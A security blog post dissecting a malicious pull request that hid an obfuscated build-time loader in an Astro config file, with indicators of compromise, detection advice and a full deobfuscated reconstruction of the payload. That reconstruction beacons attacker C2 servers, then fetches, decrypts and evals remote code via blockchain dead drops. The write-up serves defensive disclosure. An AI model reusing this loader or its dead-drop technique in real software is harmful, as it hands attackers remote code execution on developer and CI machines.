# astro.config.mjs Supply Chain Attack via Blockchain C2 > Source: > Published: 2026-06-12 00:00:00+00:00 # astro.config.mjs Supply Chain Attack via Blockchain C2 ### Table of Contents Pull request #206 against [ Egonex-AI/Understand-Anything](https://github.com/Egonex-AI/Understand-Anything/pull/206) (an open source code-to-knowledge-graph tool with 57,000+ GitHub stars) carries a build-time payload hidden in `homepage/astro.config.mjs` . Every invocation of `astro build` , `astro dev` , or `astro preview` from the affected branch runs the file as a Node.js module, and an obfuscated IIFE at the end fires automatically. The payload beacons one of three hardcoded C2 servers, exfiltrates a campaign marker, XOR-decrypts and evaluates a downloaded bot client, then independently resolves a second-stage command from a Tron blockchain address whose latest transaction encodes a BSC transaction hash carrying the active payload. Because the command relay uses only public blockchain RPC nodes, blocking the C2 IPs does not stop the second stage.## The deceptive PR The PR title reads `fix(dashboard): filter Path Finder "To" dropdown to reachable nodes (#188)` . The description documents a BFS reachability fix, a shared `useMemo` adjacency map, a `useEffect` for clearing stale targets, and a test plan citing 395 assertions across an 80-node generated graph. None of that appears in the diff. The actual changed files are two: `.gitignore` : adds`branch_structure.json` ,`temp_auto_push.bat` , and`temp_interactive_push.bat` `homepage/astro.config.mjs` : inserts`createRequire` preamble and a large obfuscated payload The `.gitignore` additions suppress three Windows batch scripts from `git status` . The `.bat` filenames point to automated push tooling, consistent with the attacker running a Windows-based workflow to generate and submit PRs across multiple targets. The payload in `astro.config.mjs` is appended after several hundred characters of horizontal whitespace on the same line as the closing `});` . GitHub’s diff renderer treats that line as complete. A reviewer scrolling vertically through the diff sees nothing suspicious. The malicious file is pinned at [ AsimRaza10/Understand-Anything @ 8d30be36](https://github.com/AsimRaza10/Understand-Anything/blob/8d30be36d2a0e22b848322902fce4085f5b0c0e6/homepage/astro.config.mjs). The attack was publicly disclosed in [issue #432](https://github.com/Egonex-AI/Understand-Anything/issues/432), filed by a downstream user who reviewed the PR diff statically and never checked out or built the branch. The issue title reads: “Security: PR #206 injects an obfuscated executable payload into homepage/astro.config.mjs (do not merge).” This PR fits the V4 vector in SafeDep’s [malicious pull request threat model](/blog/malicious-pull-requests-threat-model): a contributor-class attacker submits a plausible-looking change to a public repository, targeting the build pipeline rather than the dependency graph. The threat model covers the full taxonomy; this post documents one live instance in detail. ## Why astro.config.mjs is an attack surface Astro evaluates `astro.config.mjs` as a live Node.js module at the start of every `dev` , `build` , and `preview` run. The file executes before any user code, before any import graph resolves, with full access to the process environment and filesystem. This is the same execution context as a `postinstall` script, but the trigger is broader. A `pnpm install` happens once per environment setup. `astro dev` runs continuously throughout a project’s lifetime, so every developer, every CI job, and every preview build on any branch carrying this file executes the payload. There is no opt-in, no sandbox, and no way to run Astro builds without evaluating the config. This is the [config-as-code attack surface](/blog/config-files-that-run-code) in practice. ## Recovering require in an ESM context Astro configs are ES modules. The `http` and `https` Node.js builtins the payload needs are not available without explicit ESM imports, and adding visible imports would surface in the diff. The payload restores `require` through three added lines: The obfuscated IIFE that follows uses a string-shuffle cipher (`_$_1e42` ) to decode internal symbol names, then plants the recovered values on the global object: `global['!']` is the campaign marker. Stage B reads it to select a C2 host. ## Stage B: C2 selection and boot beacon Stage B inspects the campaign marker and picks one of three hardcoded C2 servers. It issues an HTTP GET to `/$/boot` with a spoofed Chrome 131 desktop User-Agent. The `Sec-V` header exfiltrates the marker value, letting the attacker correlate beacons to campaigns: The response body is XOR-decrypted with the static key `ThZG+0jfXE6VAGOJ` and passed to `eval()` . The C2 response at `/$/boot` becomes the live bot client. The attacker rotates it by updating what the server serves, with no changes to the repository. ## Stage A: the blockchain dead drop Stage A runs concurrently with Stage B. It resolves a second-stage command through a three-chain relay: Fetch the latest outgoing confirmed transaction from Tron address `TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP` via`api.trongrid.io` . Decode the`raw_data.data` hex field to UTF-8, then reverse the string character by character. The result is a BSC transaction hash. If the Tron request fails, the resolver falls back to Aptos account`0xbe037400...380811e` via`fullnode.mainnet.aptoslabs.com` , where the most recent transaction carries the BSC hash directly as a payload argument.Fetch the BSC transaction from `bsc-dataseed.binance.org` , falling back to`bsc-rpc.publicnode.com` . Strip the`0x` prefix from`tx.input` , decode hex to UTF-8, and split on the delimiter`?.?` . Take the right-hand segment.XOR-decrypt the segment with key `2[gWfGj;<:-93Z^C` . The plaintext is the next-stage JavaScript command, passed to`eval()` . The attacker updates the active payload by sending one new BSC transaction from a wallet they control. No DNS record changes, no IP address updates, no server restarts. The Stage A chain uses only public, unauthenticated blockchain APIs. Blocking those endpoints causes collateral damage to any legitimate BSC or Tron tooling in the same environment, which makes them an impractical blocklist target. At analysis time, the live Tron drop resolved to two BSC transactions carrying the active next-stage payload: `0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89` `0xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02` ## Indicators of compromise | Indicator | Type | Notes | |---|---|---| `166.88.54[.]158` | C2 IP | Stage B, marker prefix `"A"` | `198.105.127[.]210` | C2 IP | Stage B, numeric marker | `23.27.202[.]27:27017` | C2 IP | Stage B fallback. Port 27017 served over plain HTTP | `/$/boot` | C2 path | GET endpoint. Delivers XOR-encrypted bot client | `ThZG+0jfXE6VAGOJ` | XOR key | Decrypts the `/$/boot` response body | `2[gWfGj;<:-93Z^C` | XOR key | Decrypts the blockchain-fetched command | `TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP` | Tron address | Stage A primary dead drop | `0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e` | Aptos account | Stage A fallback dead drop | `Sec-V` | HTTP header | Exfiltrates campaign marker in boot request | `AsimRaza10` | GitHub account | PR author | `branch_structure.json` , `temp_auto_push.bat` , `temp_interactive_push.bat` | Suppressed files | Attacker tooling, hidden by `.gitignore` additions | ## Detection and response If the branch was never built locally or in CI, the risk stops at source review. The PR remains open and unmerged at the time of writing. If any environment ran `astro build` , `astro dev` , or `astro preview` from the `fix/path-finder-reachable-targets` branch, treat that machine as compromised. Rotate all credentials and tokens accessible from that build environment, including registry tokens, cloud provider keys, and CI secrets. Review outbound network logs for connections to `166.88.54[.]158` , `198.105.127[.]210` , and `23.27.202[.]27` . For project maintainers, the fastest triage signal is a PR description that names files the diff does not touch. A change claiming to fix a React component that modifies `astro.config.mjs` and `.gitignore` without touching any `.tsx` file is an immediate mismatch worth investigating before any local checkout. For automated detection, no legitimate `astro.config.mjs` needs to reconstruct `require` . Auditing for this pattern across config files is a fast first pass: The presence of `createRequire` in a build tool config file, combined with any network call or `eval()` , is the complete signature for this loader class. ## The broader picture This attack combines three things that individually are familiar but together open a detection gap: an elaborate fake PR description with fabricated test evidence, a diff that hides its payload in horizontal whitespace, and a two-stage C2 where the second stage uses public blockchain infrastructure as a write-once, read-anywhere relay. The [malicious pull request threat model](/blog/malicious-pull-requests-threat-model) maps the attack surface this belongs to. PR #206 is a clean real-world instance of that threat model’s V4 vector: build-pipeline injection through a plausible contributor PR, with the payload in a file that runs unconditionally on every developer machine and CI node that checks out the branch. ## Deobfuscated payload Full static reconstruction of both stages. Nothing below was executed — this is the result of manually resolving the string-shuffle cipher and unpacking the nested packer layers. Variable names are restored; the obfuscator’s tamper-check stubs are stripped. ``` /* * Recovered by resolving the two on-chain dead drops live, then unpacking the nested * packer layers each delivered. Variable names below are restored; the obfuscator's * junk `if(!_$_x){return}` tamper-checks are dropped (they never fired). * * Two cooperating stages were delivered: * STAGE B ("boot") : configures dead-drop coordinates + C2 host, then beacons the * HTTP C2 for the actual bot client and eval()s it. * STAGE A ("resolver") : the self-propagating blockchain resolver — pulls the next * command from chain, XOR-decrypts it, eval()s it. Identical in * shape to the original loader, i.e. it reseeds the loop. * * ── INDICATORS OF COMPROMISE ─────────────────────────────────────────────────────────── * HTTP C2 hosts : http://166.88.54.158 * http://198.105.127.210 * http://23.27.202.27:27017 (27017 = MongoDB default port, here HTTP) * C2 boot path : /$/boot * C2 headers : User-Agent: spoofed Chrome 131 / Windows 10 x64 * Sec-V: * Resp. XOR key : "ThZG+0jfXE6VAGOJ" (decrypts the boot client) * Dead-drop XOR : "2[gWfGj;<:-93Z^C" (decrypts the chain command) * Tron dead drop: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (-> global._t_1) * Aptos fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (-> _t_2) * Chain RPCs : api.trongrid.io, fullnode.mainnet.aptoslabs.com, * bsc-dataseed.binance.org, bsc-rpc.publicnode.com * Globals used : _V (campaign tag), _H/_H2 (chosen C2 host), _t_1/_t_2 (drop coords), * _t_t (run throttle), _t_c/_t_0 (cached client / env blob), r (=require) * * Live resolution at analysis time additionally produced these BSC tx hashes carrying * the next stage (derived from the Tron drops, hex->utf8->reversed): * 0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89 * 0xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02 * ──────────────────────────────────────────────────────────────────────────────────────── */ const require_ = global.r; // require, smuggled onto global by an earlier layer // ===================================================================================== // STAGE B — "boot": pick a C2, set dead-drop coordinates, fetch + decrypt + eval client // ===================================================================================== (async function stageB_boot() { const marker = global._V || 0; // campaign/platform marker (e.g. "A8-3317") // Choose which hardcoded C2 host to use based on the marker's shape. if (marker[0] === 'A') { global._H2 = 'http://166.88.54.158'; } else if (!isNaN(parseInt(marker))) { global._H2 = 'http://198.105.127.210'; } else { global._H = 'http://198.105.127.210'; global._H2 = 'http://23.27.202.27:27017'; } // Seed the blockchain dead-drop coordinates that STAGE A will read. global._t_1 = 'TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP'; global._t_2 = '0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e'; // Repeating-key XOR decryptor for the C2 response. const xorDecrypt = (cipher) => { const key = 'ThZG+0jfXE6VAGOJ'; let out = ''; for (let i = 0; i < cipher.length; i++) out += String.fromCharCode(cipher.charCodeAt(i) ^ key.charCodeAt(i % key.length)); return out; }; // Beacon the HTTP C2 at /$/boot, posing as a desktop Chrome browser; the marker is // exfiltrated in the "Sec-V" header. The response body is the encrypted bot client. const encryptedClient = await new Promise((resolve, reject) => { const url = new URL((global._H || global._H2) + '/$/boot'); const req = require_('http').request( { method: 'GET', hostname: url.hostname, port: url.port, path: url.pathname, headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' + '(KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36', 'Sec-V': marker, }, }, (res) => { let body = ''; res.on('data', (c) => (body += c)); res.on('end', () => resolve(body)); } ); req.on('error', reject); req.end(); }); eval(xorDecrypt(encryptedClient)); // <-- runs the downloaded bot client })(); // ===================================================================================== // STAGE A — "resolver": fetch next command from the blockchain dead drop, decrypt, eval // (Same technique as the original loader; this is the loop reseeding itself.) // ===================================================================================== (async function stageA_resolver() { // GET url -> parsed JSON const getJson = (url) => new Promise((resolve, reject) => { require_('https') .get(url, (res) => { let body = ''; res.on('data', (c) => (body += c)); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { reject(e); } }); }) .on('error', reject) .end(); }); // Ethereum-style JSON-RPC POST const rpc = (method, params = [], hostname) => new Promise((resolve, reject) => { const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 }); const req = require_('https') .request({ hostname, method: 'POST' }, (res) => { let body = ''; res.on('data', (c) => (body += c)); res.on('end', () => { try { resolve(JSON.parse(body)); } catch (e) { reject(e); } }); }) .on('error', reject); req.write(payload); req.end(); }); async function resolveCommand(xorKey, tronAddr, aptosAcct) { // 1) Tron latest outgoing tx -> raw_data.data -> hex->utf8 -> REVERSED = BSC tx hash let bscTxHash; try { const tron = await getJson( 'https://api.trongrid.io/v1/accounts/' + tronAddr + '/transactions?only_confirmed=true&only_from=true&limit=1' ); bscTxHash = Buffer.from(tron.data[0].raw_data.data, 'hex').toString('utf8').split('').reverse().join(''); if (!bscTxHash) throw new Error(); } catch (e) { // Fallback: Aptos account's latest tx argument carries the hash const aptos = await getJson( 'https://fullnode.mainnet.aptoslabs.com/v1/accounts/' + aptosAcct + '/transactions?limit=1' ); bscTxHash = aptos[0].payload.arguments[0]; } // 2) BSC tx.input -> strip 0x -> hex->utf8 -> split("?.?")[1] = encrypted stage let encrypted; try { const tx = await rpc('eth_getTransactionByHash', [bscTxHash], 'bsc-dataseed.binance.org'); encrypted = Buffer.from(tx.result.input.substring(2), 'hex').toString('utf8').split('?.?')[1]; if (!encrypted) throw new Error(); } catch (e) { const tx = await rpc('eth_getTransactionByHash', [bscTxHash], 'bsc-rpc.publicnode.com'); encrypted = Buffer.from(tx.result.input.substring(2), 'hex').toString('utf8').split('?.?')[1]; } // 3) repeating-key XOR -> plaintext JS command let out = ''; for (let i = 0; i < encrypted.length; i++) out += String.fromCharCode(encrypted.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length)); return out; } const command = await resolveCommand( '2[gWfGj;<:-93Z^C', global._t_1, // = TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP global._t_2 // = 0xbe037400...380811e ); eval(command); // <-- runs the next chain command })(); ``` - supply-chain - malware - javascript - blockchain - build-time-attack ### Author #### SafeDep Team safedep.io ### Share ## The Latest from SafeDep blogs Follow for the latest updates and insights on open source security & engineering [Miasma Worm: Most Infected GitHub Repos Are Still Live](/miasma-worm-still-infected-github-repos) Eight days after the Miasma worm forged a credential stealer into public GitHub repositories, most are still serving it. A re-scan of the published victim list plus a fresh code-search sweep found... [Config Files That Run Code: Supply Chain Security Blindspot](/config-files-that-run-code) Editor and package-manager config files auto-execute commands when a developer opens a folder or installs dependencies. The Miasma worm wired one dropper into seven of them across Claude Code,... [Inside the Miasma Software Supply Chain Attack Toolkit](/inside-the-miasma-supply-chain-attack-toolkit) The Miasma worm source code appeared on GitHub through compromised developer accounts. The codebase is a full supply chain attack toolkit with credential exfiltration across AWS, Azure, GCP, and... [Miasma Worm Targets AI Coding Agents via GitHub Repos](/miasma-worm-ai-coding-agent-config-injection) A Miasma worm variant injects a 4.3 MB dropper into GitHub repos across multiple maintainers, wiring it to auto-run through Claude Code, Gemini, Cursor, and VS Code config files. No npm package is... ## Ship Code. ## Not Malware. Start free with open source tools on your machine. Scale to a unified platform for your organization.